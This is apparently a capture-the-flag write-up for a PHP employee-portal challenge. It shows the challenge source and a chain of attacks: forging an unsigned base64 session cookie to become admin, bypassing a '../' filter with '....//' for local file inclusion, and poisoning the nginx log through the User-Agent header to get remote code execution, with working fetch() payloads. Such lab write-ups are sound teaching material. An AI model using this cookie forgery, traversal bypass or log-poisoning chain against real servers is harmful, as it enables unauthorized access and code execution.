Our PHP devs are working on this employee management portal. We have a mock build of the website and you are to pentest the platform for weaknesses. Your goal is to get more privileges and command execution on the server.
We're given a PHP server that looks like this:
<?php
spl_autoload_register(function ($name){
if (preg_match('/Controller$/', $name))
{
$name = "controllers/${name}";
}
else if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
$session = new SessionHandler();
$database = new Database('/tmp/challenge.db');
$router = new Router();
$router->new('GET', '/', function($router) use ($session){
if (!$session->isLoggedIn())
{
return header('location: /login');
}
return $router->view('index', ['admin' => $session->isAdmin(), 'username' => $session->getUsername()]);
});
$router->new('GET', '/login', function($router) use ($session){
if ($session->isLoggedIn())
{
return header('location: /');
}
return $router->view('login');
});
$router->new('GET', '/register', function($router) use ($session){
if ($session->isLoggedIn())
{
return header('location: /');
}
return $router->view('register');
});
$router->new('POST', '/auth/login', function($router) use ($database, $session){
$user = $database->login($_POST['username'], $_POST['password']);
if (!$user) return header('location: /login?msg=Invalid username or password!');
$session->login($_POST['username']);
header('location: /');
exit;
});
$router->new('POST', '/auth/register', function($router) use ($database){
if ($_POST['username'] === 'admin') return header('location: /register?msg=This user already exists!');
$database->register($_POST['username'], $_POST['password']);
header('location: /login?msg=The account registered successfully!®=true');
exit;
});
$router->new('GET', '/logout', function($router) use ($session){
$session->distroy();
return header('location: /login');
});
die($router->match());
Looking in views/index.php
and SessionHandler.php
,
<?php if ($admin){
include_once "admin.php";
} else{
include_once "user.php";
}
?>
<?php
class SessionHandler
{
public function __construct()
{
if (!empty($_COOKIE['PHPSESSID'])){
$this->cookie = $_COOKIE['PHPSESSID'];
$this->load();
}
}
public function login($username)
{
setcookie('PHPSESSID', base64_encode(json_encode([
'username' => $username
])), time()+1333337, '/');
}
public function load()
{
$this->data = json_decode(base64_decode($this->cookie));
}
public function isLoggedIn()
{
return !is_null($this->data->username);
}
public function isAdmin()
{
return $this->data->username === 'admin';
}
public function getUsername()
{
return $this->data->username;
}
public function distroy()
{
unset($_COOKIE['PHPSESSID']);
setcookie('PHPSESSID', '', time() - 3600, '/');
}
}
it seems we can pretty easily log in as admin by base64 encoding the string {"username":"admin"}
, e.g. something like
ewogICJ1c2VybmFtZSI6ICJhZG1pbiIKfQ
Replacing our PHPSESSID
cookie with that, we get to the admin dashboard:
Looking at the admin view,
<?php
$utilFile = "tickets.php";
if (isset($_GET['util']))
$utilFile = $_GET['util'];
$utilFile = str_replace("../","", $utilFile);
$fullPath = '/www/utils/'.$utilFile;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<title>Broken Production</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- ... -->
</head>
<body>
<body>
<div id="wrapper">
<!-- Sidebar -->
<div id="sidebar-wrapper">
<ul class="sidebar-nav">
<li class="sidebar-brand">
<a href="#">
Admin Dashboard (Under Construction)
</a>
</li>
<div class="profile-sidebar">
<!-- SIDEBAR USERPIC -->
<div class="profile-userpic">
<img src="/static/images/makelaris.png" class="img-responsive" alt="">
</div>
<!-- END SIDEBAR USERPIC -->
<!-- SIDEBAR USER TITLE -->
<div class="profile-usertitle">
<div class="profile-usertitle-name">
<?php echo $username ?>
</div>
<div class="profile-usertitle-job">
Administrator
</div>
</div>
<!-- END SIDEBAR USER TITLE -->
<!-- SIDEBAR BUTTONS -->
<div class="profile-userbuttons">
<a href="/logout" class="btn btn-danger btn-xs">Log Out</a>
</div>
</div>
</ul>
</div>
<!-- /#sidebar-wrapper -->
<!-- Page Content -->
<div id="page-content-wrapper">
<div class="container-fluid">
<div class="row text-right mb-4">
<div class="col">
<select class="custom-select" id="gotoPage">
<?php
echo "<option value='$utilFile' selected='true'>$utilFile</option>";
$pages = array("logs.php", "tickets.php", "todo.php");
foreach ($pages as $page){
if($page != $utilFile){
echo "<option value='$page'>$page</option>";
}
}
?>
</select>
</div>
</div>
<div class="manage-box">
<?php include_once($fullPath); ?>
</div>
</div>
</div>
<!-- /#page-content-wrapper -->
</div>
</body>
<!-- ... -->
</html>
it looks like we get local file inclusion, but with path traversal blocked by a str_replace
.
However, we can very easily get around this filter by passing a query param such as ....//....//etc/passwd
: the script will delete every instance of ../
, leaving us with a file inclusion of /var/www/../../etc/passwd
.
We still can't directly include the flag, though; looking at the dockerfile, the flag file's name is randomly generated at build time.
FROM alpine:edge
# Setup usr
RUN adduser -D -u 1000 -g 1000 -s /bin/sh www
# Install system packages
RUN apk add --no-cache --update supervisor nginx php7-fpm php7-sqlite3 php7-json
# Configure php-fpm and nginx
COPY config/fpm.conf /etc/php7/php-fpm.d/www.conf
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/nginx.conf /etc/nginx/nginx.conf
# Copy challenge files
COPY challenge /www
# Copy flag
RUN RND=$(echo $RANDOM | md5sum | head -c 15) && \
echo "HTB{f4k3_fl4g_f0r_t3st1ng}" > /flag_${RND}.txt
# Setup permissions
RUN chown -R www:www /var/lib/nginx
# Expose the port nginx is listening on
EXPOSE 80
CMD /usr/bin/supervisord -c /etc/supervisord.conf
Then, we can try to get RCE instead. Looking at the nginx config, we can see
that the server logs requests to /var/log/nginx/access.log
:
user www;
pid /run/nginx.pid;
error_log /dev/stderr info;
events {
worker_connections 1024;
}
http {
server_tokens off;
log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
access_log /var/log/nginx/access.log docker;
charset utf-8;
keepalive_timeout 20s;
sendfile on;
tcp_nopush on;
client_max_body_size 1M;
include /etc/nginx/mime.types;
server {
listen 80;
server_name _;
index index.php;
root /www;
location / {
try_files $uri $uri/ /index.php?$query_string;
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
}
}
(indeed, one of the tabs in the admin dashboard lets you view this file directly:)
Thus, we can write arbitrary PHP code to the log file by manipulating the HTTP user agent, and then include this file via LFI for RCE:
await (await fetch('http://94.237.53.57:54572/', {
headers: { 'User-Agent': '<?php phpinfo(); ?>' }
})).text()
(which requires Firefox, since Chromium disallows setting a custom user agent in fetch
).
We can use the RCE to give us the flag file name with e.g.
await (await fetch(window.location, {
headers: { 'User-Agent': '<?php echo `ls /`; ?>' }
})).text()
and include it with LFI to get the flag: